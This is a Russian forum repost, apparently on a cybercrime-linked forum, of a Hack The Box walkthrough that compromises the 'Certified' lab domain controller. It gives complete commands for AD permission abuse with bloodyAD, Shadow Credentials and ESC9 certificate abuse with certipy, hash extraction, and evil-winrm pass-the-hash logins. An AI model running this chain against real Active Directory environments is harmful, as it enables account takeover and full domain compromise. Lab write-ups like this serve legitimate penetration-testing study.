• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Компрометируем домен через технику ESC9 ADCS

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы проэксплуатируем цепочку чрезмерных разрешений и скомпрометируем служебную учетную запись Active Directory, а затем захватим домен, используя технику ESC9.
Наша цель — получение прав суперпользователя на машине Certified с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.41 certified.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют учетные данные с правами пользователя домена.

Для просмотра ссылки Войди или Зарегистрируйся
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел 11 открытых портов:

  • 88 — служба Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 9389 — веб‑службы AD DS.
Проверим выданные учетные данные с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.41 -u judith.mader -p judith09
Для просмотра ссылки Войди или Зарегистрируйся

Сбор данных​

Первым делом получим список пользователей (иногда в описании учетных записей можно найти много интересного). Для этого в NetExec есть параметр --users.

nxc ldap 10.10.11.41 -u judith.mader -p judith09 --users
Для просмотра ссылки Войди или Зарегистрируйся
Ничего нового не нашли, поэтому соберем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Собрать базу можно с помощью того же NetExec, однако для этого требуется DNS-сервер. Так как DNS из лаборатории мне недоступен, я сделаю свой со всеми необходимыми записями.

[A]
*.certified.htb=10.10.11.41
[SRV]
_ldap._tcp.pdc._msdcs.certified.htb=0 5 389 certified.htb
_ldap._tcp.gc._msdcs.certified.htb=0 5 389 certified.htb
_kerberos._tcp.dc._msdcs.certified.htb=0 5 88 certified.htb
В качестве самого сервера используем Для просмотра ссылки Войди или Зарегистрируйся, которому передаем файл с записями для домена.

python3 dnschef.py --file ./certified_dns.txt
Для просмотра ссылки Войди или Зарегистрируйся
Когда DNS-сервер запущен, указываем его в NetExec.

nxc ldap 10.10.11.41 -u judith.mader -p judith09 --dns-server 127.0.0.1 --bloodhound -c All
Для просмотра ссылки Войди или Зарегистрируйся
Загружаем собранную базу в BloodHound и строим граф от имеющегося у нас пользователя judith.mader.

Для просмотра ссылки Войди или Зарегистрируйся
У нас есть путь до учетной записи ca_operator, давай пройдем по нему и скомпрометируем все узлы.


Пользователь management_svc​

Для эксплуатации чрезмерных разрешений будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Первое разрешение, которым мы воспользуемся, — это WriteOwner от учетной записи JUDITH.MADER на группу MANAGEMENT. Так мы можем установить владельца для группы, назначим им самих себя.

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p judith09 set owner MANAGEMENT JUDITH.MADER
Для просмотра ссылки Войди или Зарегистрируйся
Теперь, как владелец объекта, мы можем назначить ему любые права. Выдаем себе все возможные права на группу.

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p judith09 add genericAll MANAGEMENT JUDITH.MADER
Для просмотра ссылки Войди или Зарегистрируйся
Имея права GenericAll, мы можем добавить любого пользователя в эту группу — добавим себя.

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p judith09 add groupMember MANAGEMENT JUDITH.MADER
Для просмотра ссылки Войди или Зарегистрируйся
Члены группы MANAGEMENT имеют право GenericWrite на учетную запись MANAGEMENT_SVC. Так как в домене настроен центр сертификации Active Directory, мы можем воспользоваться техникой Shadow Credentials для получения сертификата учетной записи MANAGEMENT_SVC. Эта атака позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату пользователя мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow.

certipy shadow -u judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41 -account MANAGEMENT_SVC auto
Для просмотра ссылки Войди или Зарегистрируйся
Валидируем полученный хеш с помощью NetExec.

nxc smb 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Для просмотра ссылки Войди или Зарегистрируйся
Хеш валиден, а пользователь состоит в группе Remote Management Users, поэтому авторизуемся в службе WinRM и читаем первый флаг.

evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Для просмотра ссылки Войди или Зарегистрируйся

Пользователь ca_operator​

Если вернуться к графу, то увидим, что учетная запись пользователя MANAGEMENT_SVC имеет право GenericAll на учетную запись CA_OPERATOR. Опять воспользуемся техникой Shadow Credentials для получения сертификата учетной записи CA_OPERATOR.

certipy shadow -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -account CA_OPERATOR auto
Для просмотра ссылки Войди или Зарегистрируйся
Валидируем полученный хеш с помощью NetExec.

nxc smb 10.10.11.41 -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2
Для просмотра ссылки Войди или Зарегистрируйся
Так мы компрометируем еще одну учетную запись.


Локальное повышение привилегий​

Учетная запись имеет говорящее имя, поэтому проверим уязвимые шаблоны центра сертификации Active Directory при помощи скрипта Для просмотра ссылки Войди или Зарегистрируйся. Чтобы отобразить только те шаблоны, которые можно использовать при эксплуатации какой‑либо техники, указываем флаг -vulnerable.

certipy find -u ca_operator@certified.htb -hashes ':b4b86f45c6018f1b664f70805f45d8f2' -dc-ip 10.10.11.41 -vulnerable -stdout
Для просмотра ссылки Войди или Зарегистрируйся
Certipy даже обозначил, что шаблон CertifiedAuthentication уязвим к технике повышения привилегий ESC9. Так как у нас есть право GenericAll на учетную запись ca_operator, мы можем использовать эту технику. Первым делом изменим userPrincipalName учетной записи ca_operator на Administrator.

certipy account update -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -user ca_operator -upn Administrator
Для просмотра ссылки Войди или Зарегистрируйся
Теперь от имени ca_operator запросим сертификат по шаблону CertifiedAuthentication. Так как в UPN установлено имя Administrator, сертификат будет выдан именно на него.

certipy req -u ca_operator@certified.htb -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication
Для просмотра ссылки Войди или Зарегистрируйся
Когда сертификат получен, вернем значение UPN в исходное состояние.

certipy account update -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -user ca_operator -upn ca_operator
Для просмотра ссылки Войди или Зарегистрируйся
Теперь применяем технику UnPAC The Hash. По сертификату получаем TGT-билет пользователя, а из него извлекаем NTLM-хеш пароля учетной записи Administrator. В Certipy все действия автоматизированы.

certipy auth -pfx administrator.pfx -domain certified.htb
Для просмотра ссылки Войди или Зарегистрируйся
Осталось получить сессию через Evil-WinRM и прочитать последний флаг.

evil-winrm -i 10.10.11.41 -u administrator -H 0d5b49608bbce1751f708748f67e2d34
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу